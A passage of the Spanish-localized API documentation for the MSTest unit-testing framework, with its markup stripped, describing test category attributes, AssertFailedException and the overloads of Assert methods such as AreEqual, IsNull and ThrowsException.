algún mensaje. - Lo consume principalmente el adaptador. - - - - - API del escritor de la prueba para llamar a los mensajes de registro. - - Formato de cadena con marcadores de posición. - Parámetros para los marcadores de posición. - - - - Atributo TestCategory. Se usa para especificar la categoría de una prueba unitaria. - - - - - Inicializa una nueva instancia de la clase y le aplica la categoría a la prueba. - - - Categoría de prueba. - - - - - Obtiene las categorías que se le han aplicado a la prueba. - - - - - Clase base del atributo "Category". - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inicializa una nueva instancia de la clase . - Aplica la categoría a la prueba. Las cadenas que devuelve TestCategories - se usan con el comando /category para filtrar las pruebas. - - - - - Obtiene la categoría que se le ha aplicado a la prueba. - - - - - Clase AssertFailedException. Se usa para indicar el error de un caso de prueba. - - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - La excepción. - - - - Inicializa una nueva instancia de la clase . - - El mensaje. - - - - Inicializa una nueva instancia de la clase . - - - - - Colección de clases auxiliares para probar varias condiciones en las - pruebas unitarias. Si la condición que se está probando no se cumple, se produce - una excepción. - - - - - Obtiene la instancia de singleton de la funcionalidad de Assert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Comprueba si la condición especificada es true y produce una excepción - si la condición es false. - - - Condición que la prueba espera que sea true. - - - Thrown if is false. - - - - - Comprueba si la condición especificada es true y produce una excepción - si la condición es false. - - - Condición que la prueba espera que sea true. - - - Mensaje que se va a incluir en la excepción cuando - es false. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is false. - - - - - Comprueba si la condición especificada es true y produce una excepción - si la condición es false. - - - Condición que la prueba espera que sea true. - - - Mensaje que se va a incluir en la excepción cuando - es false. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is false. - - - - - Comprueba si la condición especificada es false y produce una excepción - si la condición es true. - - - Condición que la prueba espera que sea false. - - - Thrown if is true. - - - - - Comprueba si la condición especificada es false y produce una excepción - si la condición es true. - - - Condición que la prueba espera que sea false. - - - Mensaje que se va a incluir en la excepción cuando - es true. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is true. - - - - - Comprueba si la condición especificada es false y produce una excepción - si la condición es true. - - - Condición que la prueba espera que sea false. - - - Mensaje que se va a incluir en la excepción cuando - es true. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is true. - - - - - Comprueba si el objeto especificado es NULL y produce una excepción - si no lo es. - - - El objeto que la prueba espera que sea NULL. - - - Thrown if is not null. - - - - - Comprueba si el objeto especificado es NULL y produce una excepción - si no lo es. - - - El objeto que la prueba espera que sea NULL. - - - Mensaje que se va a incluir en la excepción cuando - no es NULL. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is not null. - - - - - Comprueba si el objeto especificado es NULL y produce una excepción - si no lo es. - - - El objeto que la prueba espera que sea NULL. - - - Mensaje que se va a incluir en la excepción cuando - no es NULL. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not null. - - - - - Comprueba si el objeto especificado no es NULL y produce una excepción - si lo es. - - - El objeto que la prueba espera que no sea NULL. - - - Thrown if is null. - - - - - Comprueba si el objeto especificado no es NULL y produce una excepción - si lo es. - - - El objeto que la prueba espera que no sea NULL. - - - Mensaje que se va a incluir en la excepción cuando - es NULL. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is null. - - - - - Comprueba si el objeto especificado no es NULL y produce una excepción - si lo es. - - - El objeto que la prueba espera que no sea NULL. - - - Mensaje que se va a incluir en la excepción cuando - es NULL. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is null. - - - - - Comprueba si dos objetos especificados hacen referencia al mismo objeto - y produce una excepción si ambas entradas no hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera. - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Thrown if does not refer to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia al mismo objeto - y produce una excepción si ambas entradas no hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera. - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual que . El mensaje se muestra - en los resultados de las pruebas. - - - Thrown if does not refer to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia al mismo objeto - y produce una excepción si ambas entradas no hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera. - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual que . El mensaje se muestra - en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if does not refer to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia a objetos diferentes - y produce una excepción si ambas entradas hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Thrown if refers to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia a objetos diferentes - y produce una excepción si ambas entradas hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual que . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if refers to the same object - as . - - - - - Comprueba si dos objetos especificados hacen referencia a objetos diferentes - y produce una excepción si ambas entradas hacen referencia al mismo objeto. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual que . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if refers to the same object - as . - - - - - Comprueba si dos valores especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera. - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Thrown if is not equal to . - - - - - Comprueba si dos valores especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera. - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si dos valores especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera. - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si dos valores especificados son distintos y produce una excepción - si son iguales. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Thrown if is equal to . - - - - - Comprueba si dos valores especificados son distintos y produce una excepción - si son iguales. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si dos valores especificados son distintos y produce una excepción - si son iguales. Los tipos numéricos distintos se tratan - como diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - The type of values to compare. - - - Primer valor para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo valor para comparar. Este es el valor generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si dos objetos especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el objeto que la prueba espera. - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Thrown if is not equal to - . - - - - - Comprueba si dos objetos especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el objeto que la prueba espera. - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si dos objetos especificados son iguales y produce una excepción - si no lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el objeto que la prueba espera. - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si dos objetos especificados son distintos y produce una excepción - si lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Thrown if is equal to . - - - - - Comprueba si dos objetos especificados son distintos y produce una excepción - si lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si dos objetos especificados son distintos y produce una excepción - si lo son. Los tipos numéricos distintos se tratan - como tipos diferentes aunque sus valores lógicos sean iguales. 42L no es igual que 42. - - - Primer objeto para comparar. Este es el valor que la prueba espera que no - coincida con . - - - Segundo objeto para comparar. Este es el objeto generado por el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si los valores float especificados son iguales y produce una excepción - si no lo son. - - - Primer valor float para comparar. Este es el valor float que la prueba espera. - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Thrown if is not equal to - . - - - - - Comprueba si los valores float especificados son iguales y produce una excepción - si no lo son. - - - Primer valor float para comparar. Este es el valor float que la prueba espera. - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Mensaje que se va a incluir en la excepción cuando - difiere de por más de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si los valores float especificados son iguales y produce una excepción - si no lo son. - - - Primer valor float para comparar. Este es el valor float que la prueba espera. - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Mensaje que se va a incluir en la excepción cuando - difiere de por más de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si los valores float especificados son distintos y produce una excepción - si son iguales. - - - Primer valor float para comparar. Este es el valor float que la prueba espera que no - coincida con . - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Thrown if is equal to . - - - - - Comprueba si los valores float especificados son distintos y produce una excepción - si son iguales. - - - Primer valor float para comparar. Este es el valor float que la prueba espera que no - coincida con . - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Mensaje que se va a incluir en la excepción cuando - es igual a o difiere por menos de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si los valores float especificados son distintos y produce una excepción - si son iguales. - - - Primer valor float para comparar. Este es el valor float que la prueba espera que no - coincida con . - - - Segundo valor float para comparar. Este es el valor float generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Mensaje que se va a incluir en la excepción cuando - es igual a o difiere por menos de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si los valores double especificados son iguales y produce una excepción - si no lo son. - - - Primer valor double para comparar. Este es el valor double que la prueba espera. - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Thrown if is not equal to - . - - - - - Comprueba si los valores double especificados son iguales y produce una excepción - si no lo son. - - - Primer valor double para comparar. Este es el valor double que la prueba espera. - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Mensaje que se va a incluir en la excepción cuando - difiere de por más de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is not equal to . - - - - - Comprueba si los valores double especificados son iguales y produce una excepción - si no lo son. - - - Primer valor double para comparar. Este es el valor double que la prueba espera. - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por más de . - - - Mensaje que se va a incluir en la excepción cuando - difiere de por más de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to . - - - - - Comprueba si los valores double especificados son distintos y produce una excepción - si son iguales. - - - Primer valor double para comparar. Este es el valor double que la prueba espera que no - coincida con . - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Thrown if is equal to . - - - - - Comprueba si los valores double especificados son distintos y produce una excepción - si son iguales. - - - Primer valor double para comparar. Este es el valor double que la prueba espera que no - coincida con . - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Mensaje que se va a incluir en la excepción cuando - es igual a o difiere por menos de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si los valores double especificados son distintos y produce una excepción - si son iguales. - - - Primer valor double para comparar. Este es el valor double que la prueba espera que no - coincida con . - - - Segundo valor double para comparar. Este es el valor double generado por el código sometido a prueba. - - - Precisión requerida. Se iniciará una excepción solamente si - difiere de - por un máximo de . - - - Mensaje que se va a incluir en la excepción cuando - es igual a o difiere por menos de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. Se usa la referencia cultural invariable para la comparación. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. Se usa la referencia cultural invariable para la comparación. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. Se usa la referencia cultural invariable para la comparación. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. Para la comparación, se usa la referencia cultural invariable. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. Para la comparación, se usa la referencia cultural invariable. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. Para la comparación, se usa la referencia cultural invariable. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si el objeto especificado es una instancia del tipo - esperado y produce una excepción si el tipo esperado no se encuentra en - la jerarquía de herencia del objeto. - - - El objeto que la prueba espera que sea del tipo especificado. - - - Tipo esperado de . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado es una instancia del tipo - esperado y produce una excepción si el tipo esperado no se encuentra en - la jerarquía de herencia del objeto. - - - El objeto que la prueba espera que sea del tipo especificado. - - - Tipo esperado de . - - - Mensaje que se va a incluir en la excepción cuando - no es una instancia de . El mensaje se - muestra en los resultados de las pruebas. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado es una instancia del tipo - esperado y produce una excepción si el tipo esperado no se encuentra en - la jerarquía de herencia del objeto. - - - El objeto que la prueba espera que sea del tipo especificado. - - - Tipo esperado de . - - - Mensaje que se va a incluir en la excepción cuando - no es una instancia de . El mensaje se - muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado no es una instancia del tipo - incorrecto y produce una excepción si el tipo especificado se encuentra en la - jerarquía de herencia del objeto. - - - El objeto que la prueba espera que no sea del tipo especificado. - - - El tipo que no debe tener. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado no es una instancia del tipo - incorrecto y produce una excepción si el tipo especificado se encuentra en la - jerarquía de herencia del objeto. - - - El objeto que la prueba espera que no sea del tipo especificado. - - - El tipo que no debe tener. - - - Mensaje que se va a incluir en la excepción cuando - es una instancia de . El mensaje se muestra - en los resultados de las pruebas. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado no es una instancia del tipo - incorrecto y produce una excepción si el tipo especificado se encuentra en la - jerarquía de herencia del objeto. - - - El objeto que la prueba espera que no sea del tipo especificado. - - - El tipo que no debe tener. - - - Mensaje que se va a incluir en la excepción cuando - es una instancia de . El mensaje se muestra - en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Produce una excepción AssertFailedException. - - - Always thrown. - - - - - Produce una excepción AssertFailedException. - - - Mensaje que se va a incluir en la excepción. El mensaje se muestra en los - resultados de las pruebas. - - - Always thrown. - - - - - Produce una excepción AssertFailedException. - - - Mensaje que se va a incluir en la excepción. El mensaje se muestra en los - resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Always thrown. - - - - - Produce una excepción AssertInconclusiveException. - - - Always thrown. - - - - - Produce una excepción AssertInconclusiveException. - - - Mensaje que se va a incluir en la excepción. El mensaje se muestra en los - resultados de las pruebas. - - - Always thrown. - - - - - Produce una excepción AssertInconclusiveException. - - - Mensaje que se va a incluir en la excepción. El mensaje se muestra en los - resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Always thrown. - - - - - Las sobrecargas de igualdad estáticas se usan para comparar la igualdad de referencia de - instancias de dos tipos. Este método no debe usarse para comparar la igualdad de dos instancias. - Este objeto se devolverá siempre con Assert.Fail. Utilice - Assert.AreEqual y las sobrecargas asociadas en pruebas unitarias. - - Objeto A - Objeto B - False, siempre. - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado para el código que se va a probar y que se espera que inicie una excepción. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Matriz de parámetros que se usa al formatear . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Matriz de parámetros que se usa al formatear . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado para el código que se va a probar y que se espera que inicie una excepción. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - que ejecuta el delegado. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción AssertFailedException si el código no produce la excepción dada o produce otra de un tipo que no sea . - - Delegado para el código que se va a probar y que se espera que inicie una excepción. - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - que ejecuta el delegado. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción AssertFailedException si el código no produce la excepción dada o produce otra de un tipo que no sea . - - Delegado para el código que se va a probar y que se espera que inicie una excepción. - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Matriz de parámetros que se usa al formatear . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - que ejecuta el delegado. - - - - - Reemplaza los caracteres NULL "\0" por "\\0". - - - Cadena para buscar. - - - La cadena convertida con los caracteres NULL reemplazados por "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Función auxiliar que produce una excepción AssertionFailedException. - - - nombre de la aserción que inicia una excepción - - - mensaje que describe las condiciones del error de aserción - - - Los parámetros. - - - - - Comprueba el parámetro para las condiciones válidas. - - - El parámetro. - - - Nombre de la aserción. - - - nombre de parámetro - - - mensaje de la excepción de parámetro no válido - - - Los parámetros. - - - - - Convierte un objeto en cadena de forma segura, con control de los valores y caracteres NULL. - 